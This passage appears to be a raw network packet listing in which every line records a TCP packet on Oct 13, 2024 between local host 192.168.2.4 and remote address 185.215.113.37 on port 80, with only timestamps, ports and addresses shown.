Oct 13, 2024 11:54:14.734415054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734448910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734467983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734498024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734503031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734549999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734555960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734591007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734602928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734625101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734642982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734658003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734673023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734693050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734704018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734724998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734761000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734762907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734797955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734802008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734802008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734843969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734849930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734900951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734908104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734952927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734961033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734993935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735008001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735028028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735038042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735061884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735071898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735096931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735105991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735131025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735140085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735166073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735177040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735198975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735208035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735233068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735241890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735265017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735274076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735301971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735308886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735338926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735347033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735373974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735390902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735418081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735430002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735481977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735486031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735522032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735574961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735578060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735578060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735632896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735687017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735687971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735722065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735733032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735757113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735769033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735791922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735805035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735826969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735840082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735877991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735888958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735913038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735924006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735945940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735960007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.735980034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.735991001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736026049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736032963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736083031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736087084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736120939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736135006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736155033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736169100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736188889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736211061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736238956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736239910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736277103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736294031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736323118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736329079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736362934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736376047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736397982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736413002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736430883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736445904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736479044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736485004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736535072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736535072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736567974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736581087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736599922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736613989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736646891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736650944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736685038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736699104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736717939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736730099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736752033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736782074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736784935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736802101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736823082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736854076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736869097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736888885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736900091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736920118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736936092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736954927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736968994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.736987114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.736998081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737020969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737031937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737052917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737065077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737087011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737097025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737119913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737131119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737154007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737168074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737186909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737200022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737221003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737230062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737253904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737281084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737289906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737303972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737323046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737346888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737360954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737368107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737392902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737404108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737426996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737437010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737461090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737473011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737494946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737507105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737528086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737539053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737560987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737574100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737593889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737605095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737627029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737638950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737662077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737675905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737695932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737720966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737729073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737740993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737762928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737773895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737797022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737809896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737853050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737867117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737893105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737901926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737926960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737951040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737958908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.737973928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.737994909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738003969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738028049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738044977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738061905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738071918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738094091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738107920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738128901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738138914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738162041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738173962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738197088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738204002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738231897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738244057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738266945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738271952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738301039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738310099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738334894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738344908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738369942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738379955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738403082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738414049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738435984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738445997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738471985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.738476992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.738533974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.826855898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.826935053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.826991081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.826999903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.826999903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827025890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827047110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827073097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827080965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827126980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827136040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827171087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827220917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827238083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827238083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827255964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827282906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827292919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827322960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827327013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827334881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827373028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827378035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827428102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827460051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827492952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827533007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827543020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827543020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827565908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827584028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827601910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827610970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827635050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827650070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827668905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827678919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827702045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827722073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827737093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827754974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827769041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827802896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827816010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827836037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827876091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827892065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827898979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827939034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.827943087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.827992916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828023911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828038931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828068972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828074932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828108072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828120947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828142881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828154087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828185081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828187943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828218937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828237057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828265905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828269005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828303099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828325987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828334093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828352928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828372002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828383923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828404903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828416109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828449965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828464031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828510046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828511953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828545094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828557968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828581095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828602076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828633070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828634024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828684092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828686953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828735113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828767061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828768015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828778028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828803062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828818083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828855038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828855038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828890085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828907967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828922987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.828942060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828969955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.828974962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829004049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829030991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829035997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829052925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829068899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829082012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829122066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829157114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829159975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829184055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829194069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829207897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829252005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829260111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829293013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829303980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.829325914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.829339027 CEST	49730	80	192.168.2.4	185.215.113.37
